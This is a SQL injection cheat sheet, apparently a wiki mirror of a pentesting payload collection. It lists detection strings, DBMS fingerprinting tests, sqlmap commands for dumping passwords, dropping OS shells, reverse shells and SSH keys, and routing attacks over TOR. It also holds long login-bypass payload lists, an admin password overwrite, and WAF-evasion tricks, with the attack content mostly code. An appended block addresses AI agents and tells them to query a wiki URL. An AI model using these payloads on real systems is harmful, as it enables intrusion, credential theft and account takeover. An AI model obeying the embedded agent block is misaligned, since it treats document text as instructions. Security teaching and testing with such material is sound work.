# SQL injection

> A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.

Attempting to manipulate SQL queries may have goals including:

* Information Leakage
* Disclosure of stored data
* Manipulation of stored data
* Bypassing authorisation controls

## Summary

* [CheatSheet MSSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md)
* [CheatSheet MySQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
* [CheatSheet OracleSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md)
* [CheatSheet PostgreSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
* [CheatSheet SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md)
* [CheatSheet Cassandra Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Cassandra%20Injection.md)
* [Entry point detection](broken://pages/nOAvBc7zgCsl1ns2hW4r)
* [DBMS Identification](broken://pages/nOAvBc7zgCsl1ns2hW4r)
* [SQL injection using SQLmap](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Basic arguments for SQLmap](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Load a request file and use mobile user-agent](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Custom injection in UserAgent/Header/Referer/Cookie](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Second order injection](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Shell](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Crawl a website with SQLmap and auto-exploit](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Using TOR with SQLmap](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Using a proxy with SQLmap](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Using Chrome cookie and a Proxy](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Using suffix to tamper the injection](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [General tamper option and tamper's list](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [SQLmap without SQL injection](broken://pages/nOAvBc7zgCsl1ns2hW4r)
* [Authentication bypass](broken://pages/nOAvBc7zgCsl1ns2hW4r)
  * [Authentication Bypass (Raw MD5 SHA1)](broken://pages/nOAvBc7zgCsl1ns2hW4r)
* [Polyglot injection](broken://pages/nOAvBc7zgCsl1ns2hW4r)
* [Routed injection](broken://pages/nOAvBc7zgCsl1ns2hW4r)
* [Insert Statement - ON DUPLICATE KEY UPDATE](broken://pages/nOAvBc7zgCsl1ns2hW4r)
* [WAF Bypass](broken://pages/nOAvBc7zgCsl1ns2hW4r)

## Entry point detection

Detection of an SQL injection entry point Simple characters

```sql
'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
&apos;  # required for XML content
```

Multiple encoding

```sql
%%2727
%25%27
```

Merging characters

```sql
`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP
```

Logic Testing

```sql
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
```

Weird characters

```sql
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
```

## DBMS Identification

```c
["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```

## SQL injection using SQLmap

### Basic arguments for SQLmap

```powershell
sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
```

### Load a request file and use mobile user-agent

```powershell
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
```

### Custom injection in UserAgent/Header/Referer/Cookie

```powershell
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass"  --headers="x-forwarded-for:127.0.0.1*"
The injection is located at the '*'
```

### Second order injection

```powershell
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```

### Shell

```powershell
SQL Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --sql-shell

Simple Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-shell

Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-pwn

SSH Shell by dropping an SSH key
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
```

### Crawl a website with SQLmap and auto-exploit

```powershell
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```

### Using TOR with SQLmap

```powershell
sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5
```

### Using a proxy with SQLmap

```powershell
sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
```

### Using Chrome cookie and a Proxy

```powershell
sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080"  -f  --time-sec 15 --level 3
```

### Using suffix to tamper the injection

```powershell
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "
```

### General tamper option and tamper's list

```powershell
tamper=name_of_the_tamper
```

| Tamper                       | Description                                                                                                                                        |
| ---------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0x2char.py                   | Replaces each (MySQL) 0x encoded string with equivalent CONCAT(CHAR(),…) counterpart                                                               |
| apostrophemask.py            | Replaces apostrophe character with its UTF-8 full width counterpart                                                                                |
| apostrophenullencode.py      | Replaces apostrophe character with its illegal double unicode counterpart                                                                          |
| appendnullbyte.py            | Appends encoded NULL byte character at the end of payload                                                                                          |
| base64encode.py              | Base64 all characters in a given payload                                                                                                           |
| between.py                   | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'                                                                                    |
| bluecoat.py                  | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator                 |
| chardoubleencode.py          | Double url-encodes all characters in a given payload (not processing already encoded)                                                              |
| charencode.py                | URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54)                                 |
| charunicodeencode.py         | Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054)       |
| charunicodeescape.py         | Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)   |
| commalesslimit.py            | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'                                                                                       |
| commalessmid.py              | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'                                                                                  |
| commentbeforeparentheses.py  | Prepends (inline) comment before parentheses (e.g. ( -> /\*\*/()                                                                                   |
| concat2concatws.py           | Replaces instances like 'CONCAT(A, B)' with 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)'                                                                 |
| charencode.py                | Url-encodes all characters in a given payload (not processing already encoded)                                                                     |
| charunicodeencode.py         | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded)                                                     |
| equaltolike.py               | Replaces all occurrences of operator equal ('=') with operator 'LIKE'                                                                              |
| escapequotes.py              | Slash escape quotes (' and ")                                                                                                                      |
| greatest.py                  | Replaces greater than operator ('>') with 'GREATEST' counterpart                                                                                   |
| halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword                                                                                                   |
| htmlencode.py                | HTML encode (using code points) all non-alphanumeric characters (e.g. ‘ -> ')                                                                      |
| ifnull2casewhenisnull.py     | Replaces instances like ‘IFNULL(A, B)’ with ‘CASE WHEN ISNULL(A) THEN (B) ELSE (A) END’ counterpart                                                |
| ifnull2ifisnull.py           | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'                                                                                  |
| informationschemacomment.py  | Add an inline comment (/\*\*/) to the end of all occurrences of (MySQL) “information\_schema” identifier                                           |
| least.py                     | Replaces greater than operator (‘>’) with ‘LEAST’ counterpart                                                                                      |
| lowercase.py                 | Replaces each keyword character with lower case value (e.g. SELECT -> select)                                                                      |
| modsecurityversioned.py      | Embraces complete query with versioned comment                                                                                                     |
| modsecurityzeroversioned.py  | Embraces complete query with zero-versioned comment                                                                                                |
| multiplespaces.py            | Adds multiple spaces around SQL keywords                                                                                                           |
| nonrecursivereplacement.py   | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters                               |
| overlongutf8.py              | Converts all characters in a given payload (not processing already encoded)                                                                        |
| overlongutf8more.py          | Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94) |
| percentage.py                | Adds a percentage sign ('%') infront of each character                                                                                             |
| plus2concat.py               | Replaces plus operator (‘+’) with (MsSQL) function CONCAT() counterpart                                                                            |
| plus2fnconcat.py             | Replaces plus operator (‘+’) with (MsSQL) ODBC function {fn CONCAT()} counterpart                                                                  |
| randomcase.py                | Replaces each keyword character with random case value                                                                                             |
| randomcomments.py            | Add random comments to SQL keywords                                                                                                                |
| securesphere.py              | Appends special crafted string                                                                                                                     |
| sp\_password.py              | Appends 'sp\_password' to the end of the payload for automatic obfuscation from DBMS logs                                                          |
| space2comment.py             | Replaces space character (' ') with comments                                                                                                       |
| space2dash.py                | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')                                        |
| space2hash.py                | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')                                      |
| space2morehash.py            | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')                                      |
| space2mssqlblank.py          | Replaces space character (' ') with a random blank character from a valid set of alternate characters                                              |
| space2mssqlhash.py           | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')                                                          |
| space2mysqlblank.py          | Replaces space character (' ') with a random blank character from a valid set of alternate characters                                              |
| space2mysqldash.py           | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')                                                            |
| space2plus.py                | Replaces space character (' ') with plus ('+')                                                                                                     |
| space2randomblank.py         | Replaces space character (' ') with a random blank character from a valid set of alternate characters                                              |
| symboliclogical.py           | Replaces AND and OR logical operators with their symbolic counterparts (&& and                                                                     |
| unionalltounion.py           | Replaces UNION ALL SELECT with UNION SELECT                                                                                                        |
| unmagicquotes.py             | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)                             |
| uppercase.py                 | Replaces each keyword character with upper case value 'INSERT'                                                                                     |
| varnish.py                   | Append a HTTP header 'X-originating-IP'                                                                                                            |
| versionedkeywords.py         | Encloses each non-function keyword with versioned MySQL comment                                                                                    |
| versionedmorekeywords.py     | Encloses each keyword with versioned MySQL comment                                                                                                 |
| xforwardedfor.py             | Append a fake HTTP header 'X-Forwarded-For'                                                                                                        |

### SQLmap without SQL injection

You can use SQLmap to access a database via its port instead of a URL.

```
sqlmap.py -d "mysql://user:pass@ip/database" --dump-all 
```

## Authentication bypass

```sql
'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer 
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
```

## Authentication Bypass (Raw MD5 SHA1)

When a raw md5 is used, the pass will be queried as a simple string, not a hexstring.

```php
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```

Allowing an attacker to craft a string with a `true` statement such as `' or 'SOMETHING`

```php
md5("ffifdyop", true) = 'or'6�]��!r,��b
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
```

Challenge demo available at <http://web.jarvisoj.com:32772>

## Polyglot injection (multicontext)

```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

/* MySQL only */
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
```

## Routed injection

```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```

## Insert Statement - ON DUPLICATE KEY UPDATE

ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:

```sql
Inject using payload:
  attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --

The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");

This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".

After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
```

## WAF Bypass

### White spaces alternatives

No Space (%20) - bypass using whitespace alternatives

```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```

No Whitespace - bypass using comments

```sql
?id=1/*comment*/and/**/1=1/**/--
```

No Whitespace - bypass using parenthesis

```sql
?id=(1)and(1)=(1)--
```

Whitespace alternatives by DBMS

| DBMS       | ASCII characters in hexadicimal                                                                                                                                        |
| ---------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| SQLite3    | 0A, 0D, 0C, 09, 20                                                                                                                                                     |
| MySQL 5    | 09, 0A, 0B, 0C, 0D, A0, 20                                                                                                                                             |
| MySQL 3    | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20, 7F, 80, 81, 88, 8D, 8F, 90, 98, 9D, A0 |
| PostgreSQL | 0A, 0D, 0C, 09, 20                                                                                                                                                     |
| Oracle 11g | 00, 0A, 0D, 0C, 09, 20                                                                                                                                                 |
| MSSQL      | 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20                                         |

Example of query where spaces were replaced by ascii characters above 0x80

```
♀SELECT§*⌂FROM☺users♫WHERE♂1☼=¶1‼
```

### No Comma

Bypass using OFFSET, FROM and JOIN

```sql
LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```

### No Equal

Bypass using LIKE/NOT IN/IN/BETWEEN

```sql
?id=1 and substring(version(),1,1)like(5)
?id=1 and substring(version(),1,1)not in(4,3)
?id=1 and substring(version(),1,1)in(4,3)
?id=1 and substring(version(),1,1) between 3 and 4
```

### Case modification

Bypass using uppercase/lowercase (see keyword AND)

```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```

Bypass using keywords case insensitive / Bypass using an equivalent operator

```sql
AND   -> &&
OR    -> ||
=     -> LIKE,REGEXP, BETWEEN, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING
```

### Obfuscation by DBMS

MySQL

```
1.UNION	SELECT	2	
3.2UNION	SELECT	2	
1e0UNION	SELECT	2	
SELECT\N/0.e3UNION	SELECT	2	
1e1AND-0.0UNION	SELECT	2	
1/*!12345UNION/*!31337SELECT/*!table_name*/	
{ts	1}UNION	SELECT.``	1.e.table_name	
SELECT	$.``	1.e.table_name	
SELECT{_	.``1.e.table_name}	
SELECT	LightOS	.	``1.e.table_name	LightOS	
SELECT	information_schema 1337.e.tables	13.37e.table_name	
SELECT	1	from	information_schema 9.e.table_name
```

MSSQL

```
.1UNION	SELECT	2	
1.UNION	SELECT.2alias	
1e0UNION	SELECT	2	
1e1AND-1=0.0UNION	SELECT	2	
SELECT	0xUNION	SELECT	2	
SELECT\UNION	SELECT	2	
\1UNION	SELECT	2	
SELECT	1FROM[table]WHERE\1=\1AND\1=\1	
SELECT"table_name"FROM[information_schema].[tables]	
```

Oracle

```
1FUNION	SELECT	2	
1DUNION	SELECT	2	
SELECT	0x7461626c655f6e616d65	FROM	all_tab_tables
SELECT	CHR(116)	||	CHR(97)	||	CHR(98)	FROM	all_tab_tables
SELECT%00table_name%00FROM%00all_tab_tables
```

### More MySQL specific

`information_schema.tables` alternative

```sql
select * from mysql.innodb_table_stats;
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| database_name  | table_name            | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+
| dvwa           | guestbook             | 2017-01-19 21:02:57 |      0 |                    1 |                        0 |
| dvwa           | users                 | 2017-01-19 21:03:07 |      5 |                    1 |                        0 |
...
+----------------+-----------------------+---------------------+--------+----------------------+--------------------------+

mysql> show tables in dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+
```

Version Alternative

```sql
mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31           |
+------------------+

mysql> select @@version;
+-------------------------+
| @@version               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> mysql> select version();
+-------------------------+
| version()               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
```

#### WAF bypass for MySQL using scientific notation

Blocked

```sql
' or ''='
```

Working

```sql
' or 1.e('')='
```

Obfuscated query

```sql
1.e(ascii 1.e(substring(1.e(select password from users limit 1 1.e,1 1.e) 1.e,1 1.e,1 1.e)1.e)1.e) = 70 or'1'='2
```

## References

* Detect SQLi
  * [Manual SQL Injection Discovery Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
  * [NetSPI SQL Injection Wiki](https://sqlwiki.netspi.com/)
* MySQL:
  * [PentestMonkey's mySQL injection cheat sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
  * [Reiners mySQL injection Filter Evasion Cheatsheet](https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/)
  * [Alternative for Information\_Schema.Tables in MySQL](https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/)
  * [The SQL Injection Knowledge base](https://websec.ca/kb/sql_injection)
* MSSQL:
  * [EvilSQL's Error/Union/Blind MSSQL Cheatsheet](http://evilsql.com/main/page2.php)
  * [PentestMonkey's MSSQL SQLi injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
* ORACLE:
  * [PentestMonkey's Oracle SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet)
* POSTGRESQL:
  * [PentestMonkey's Postgres SQLi Cheatsheet](http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet)
* Others
  * [SQLi Cheatsheet - NetSparker](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)
  * [Access SQLi Cheatsheet](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
  * [PentestMonkey's Ingres SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet)
  * [Pentestmonkey's DB2 SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet)
  * [Pentestmonkey's Informix SQL Injection Cheat Sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet)
  * [SQLite3 Injection Cheat sheet](https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
  * [Ruby on Rails (Active Record) SQL Injection Guide](http://rails-sqli.org/)
  * [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html)
  * [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)
  * [Manual SQL Injection Tips](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
* Second Order:
  * [Analyzing CVE-2018-6376 – Joomla!, Second Order SQL Injection](https://www.notsosecure.com/analyzing-cve-2018-6376/)
  * [Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper](https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/)
* Sqlmap:
  * [#SQLmap protip @zh4ck](https://twitter.com/zh4ck/status/972441560875970560)
* WAF:
  * [SQLi Optimization and Obfuscation Techniques](https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf) by Roberto Salgado
  * [A Scientific Notation Bug in MySQL left AWS WAF Clients Vulnerable to SQL Injection](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/sql-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
